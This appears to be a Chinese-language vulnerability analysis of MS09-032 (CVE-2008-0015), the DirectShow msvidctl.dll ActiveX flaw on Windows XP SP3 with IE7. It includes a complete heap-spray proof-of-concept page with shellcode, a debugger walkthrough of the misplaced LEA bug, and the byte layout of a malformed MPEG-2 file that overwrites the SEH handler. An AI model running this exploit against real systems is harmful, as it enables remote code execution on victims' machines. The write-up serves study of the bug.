2009 年 7 月 5 日,微软爆出了 MPEG-2 视频漏洞,也就是著名的 Microsoft DirectShow MPEG-2 视频 ActiveX 控件远程代码执行漏洞。该漏洞微软编号为 MS09-032,CVE 编号为 CVE-2008-0015,对应补丁号为 KB 973346。 该漏洞存在于微软 DirectShow 组件 msvidctl.dll 中,文件路径: C:\WINDOWS\system32 \ msvidctl.dll,程序员由于粗心大意,将传入参数 buff 误写为&buff,而&buff 附近恰巧存放着 S.E.H 异常处理函数指针,于是可以通过覆盖 S.E.H 并结合 Heap spray 技术实现 exploit。 该漏洞几乎影响到微软当时全部的操作的系统。由于 Vista 和 2008 操作系统上具有一些保护机制,虽然存在漏洞,但是 exploit 代码不能被轻易执行。
操作系统或程序在运行时,难免会遇到各种各样的错误,如除零、非法内存访问、文件打开错误、内存不足、磁盘读写错误、外设操作失败等。为了保证系统在遇到错误时不至于崩溃,仍能够健壮稳定地继续运行下去,Windows 会对运行在其中的程序提供一次补救的机会来处理错误,这种机制就是异常处理机制。 S.E.H 即异常处理结构体(Structure Exception Handler),它是 Windows 异常处理机制所采用的重要数据结构。每个 S.E.H 包含两个 DWORD 指针:S.E.H链表指针和异常处理函数句柄,共8个字节:
DWORD: Next S.E.H recoder
DWORD: Exception handler
对S.E.H需要知道以下几个基本要点:
(1)S.E.H 结构体存放在系统栈中;
(2)当线程初始化时,会自动向栈中安装一个 S.E.H,作为线程默认的异常处理;
(2)栈中一般会同时存在多个 S.E.H;
(3)栈中的多个 S.E.H 通过链表指针在栈内由栈顶向栈底串成单向链表,位于链表顶端的S.E.H 通过 T.E.B(线程环境块)0 字节偏移处的指针标识;
(4)当异常发生时,操作系统会中断程序,并首先从 T.E.B 的 0 字节偏移处找到距离栈顶近的 S.E.H,然后使用异常处理函数句柄所指向的异常处理函数来处理异常,如果这个异常处理函数处理失败,就顺着 S.E.H 链表依次尝试其他的异常处理函数;
(5)如果所有异常处理函数都不能处理,系统将采用默认的异常处理函数。通常,这个函数会弹出一个错误对话框,然后强制关闭程序。
操作系统:XPSP3
调试器:OD,IDA
浏览器版本:IE7
Msvidctl.dll 版本 6.5.2600.5512
因为这是一个浏览器中的ActiveX 控件漏洞,所以我们需要用一个 POC 页面来触发这个漏洞。
<html>
<body>
<div id="DivID"></div>
<script>
var nop="\u9090\u9090";
var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\ u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8 b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\ u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\ u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\ u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";
//shellcode用于弹出一个MessageBox的对话框
while(nop.length<=0x100000/2)
{ nop+=nop; //生成一个大小为1M的充满nop的数据块
}
nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);//减去一些额外信息,使内存片大小为1M
var slide = new Array();
for(var i=0;i<200;i++)
{
slide[i] = nop + shellcode;//nop的大小接近1M,shellcode只有几十字节,这样的“nop+shellcode“的组合形式会提高exploit的命中率,这样的组合有200个;
}
var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./logo.gif';//加载畸形文件,用来触发异常
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
</script>
</body>
</html>
POC使用了 Heap spray 技术。首先通过 Heap spray 技术占领内存,JavaScript 会从内存低址向高址分配内存,因此申请的内存超过 200MB(200MB=200 ×1024×1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C 处的数据就会被含有 shellcode 的内存片覆盖。只要内存片中的 0x90 能够命中 0x0C0C0C0C 处的的数据,shellcode就能得到执行。然后通过向 svidctl.dll 中加载畸形文件来触发异常,最后在程序触发异常的时候,修改S.E.H的异常处理函数指针,使其指向shellcode所在地址从而劫持程序流程。
因为 POC 页面是靠覆盖程序的 S.E.H 来劫持程序流程的,所以程序会在某个位置发生异常,可以从出现异常的位置入手来分析。首先设置 OllyDbg 可以捕获所有异常,然后用 OllyDbg 加载 IE,并打开 POC 页面,OllyDbg 会在异常处中断,通过OD菜单栏的“查看”>“S.E.H链”即可看到异常处理结构体:
在OD中可以看到异常发生的位置是0x59F0D5A8,异常发生的原因是计算机在执行该地址处的“cmp dword ptr [ebx+8], esi”指令时,需要读取ds:[00000028]处的数据,可是这是一处无效的内存地址,所以产生了一个读取错误的异常,发成这个异常的时候,S,E,H的异常处理函数指针已经被覆盖为0x0C0C0C0C;
接下来,程序将会被引导去执行异常处理函数,而函数地址被修改为0x0C0C0C0C,该处的内存数据被覆盖为nop,eip滑过nop就会遇到shellcode,可以通过“”查看>”SHE链”调出异常处理的对话框,然后在对话框中的SHE上右键>”跟随句柄”,就会看到0x0C0C0C0C处的内存数据被nop覆盖了:
接着我们看看shellcode是怎么被写进内存中的,并看看对应漏洞的原理。这里先要知道异常代码所在的函数,把漏洞所在的msvidctl.dll用IDA反汇编,然后按G并输入异常发生的位置0x59F0D5A8,接着向上回溯就会找到所属函数的位置0x59F0D3BA,
因为0x59F0D5A8的内存地址是系统领空,不属于用户领空,所以在这个位置下断点要用硬件断点,重新加载IE来运行POC以跟踪SHE的状态,发现此时SHE的指针还未被覆盖:
于是接着单步执行程序,运行完 0x59F0D469 处的 CALL 0x59F0D3BA 程序会出现异常。 在函数体内调用自身,看得出这是一个递归调用,
去掉 0x59F0D3BA 处的硬件断点,在0x59F0D469 处下硬件执行断点,用 OllyDbg 重新运行 IE 并打开 POC 页面。程序在 0x59F0D469 处中断后按 F9 键让程序继续运行,由于这是一个递归调用所以程序还是会在 0x59F0D469 处中断,我们继续按 F9 键,程序出现异常,这说明异常出现在第二次递归调用的时候。 用 OllyDbg 重新运行 IE 并打开 POC 页面,程序在 0x59F0D469 处中断后按 F9 键让程序继续运行,程序再次中断在 0x59F0D469时就按 F7单步进入这个 CALL 然后F8步过执行,执行过程中要时刻关注S.E.H 链的状态。程序执行完 0x59F0D4D4 处的CALL 0x59F0D61E 后 S.E.H 的异常处理函数指针被修改了,漏洞具体信息应该就在这个CALL里了:
依然用 OllyDbg 重新运行 IE 并打开 POC 页面, 程序在 0x59F0D469 处中断后我们按 F9 键让程序继续运行,程序再次中断在 0x59F0D469 后对 0x59F0D4D4 下断点,然后按 F9 键让程序在 0x59F0D4D4 处中断,接着跟入这个 CALL,然后单步执行并留意 S.E.H 的状态,会发现程序在执行完 0x59F0D74D 处的 CALL 后 S.E.H 的异常处理函数指针被修改了,
先在“调试”>”硬件断点”中把之前的硬件断点删除,然后在0x59F0D74D下一个硬件断点,然后重载IE运行POC,程序在0x59F0D74D断下,F7进入函数后F8步过执行,当执行完0x7E9821C0处的ReadFile函数后,SHE的异常处理函数指针被修改:
ReadFile函数将文件数据读取到一个缓冲区中:
该函数本身是没问题的,所以可以推测是调用这个函数时传递的参数存在问题。用 IDA 打开 Msvidctl.dll,可以看到 0x59F0D74D 附近的反汇编代码如下:
从代码中 0x59F0D732~0x59F0D737 的操作可以看出 EBP+8 处应该是一个局部变量,用来保存前面申请的安全数组的指针。当我们往这个数组写数据时只需要从 EBP+8 处取出这个指针即可,转换成汇编后应为 MOV **,[EBP+8],但是程序却执行了 LEA ECX,[EBP+8],这样的话传递给ReadFile函数的参数不是[EBP+8]而成了EBP+8。这就相当于传递参数时将 buff 写成了&buff。正常情况下,这个指针([EBP+8])的作用是让函数把数据读取到申请好的数组;现在这个指针直接被当成地址用了,这是完全不同的两个值,读取到的数据就被放到了另外的地址(EBP+8),函数的原有功能被破坏了,更糟的是这个错误地址离SHE结构体不远,这样就可以人为来构造数据去覆盖SHE异常处理函数的指针来劫持程序。
这里需要一个能够触发这个漏洞的畸形的 MPEG-2 文件。再次用 OllyDbg 重新运行 IE 并打开 POC 页面,(通过硬件断点)在 0x59F0D74D 处中断程序,这时函数会将文件中的数据部分错误地写到 0x1E09200 开始的内存中,而距离这个位置最近的 S.E.H 句柄位于 0x01E0922C,相差48字节,所以只要待读取文件的数据部分长度大于 48 个字节就可以覆盖掉 S.E.H 的异常处理函数指针。
只要在MPEG-2 文件数据部分的 41~48 字节部分放置 0xFFFFFFFF 和0x0C0C0C0C 就可以伪造 S.E.H结构体了,读取到畸形文件的时候,触发异常,然后通过异常处理函数指针去执行shellcode。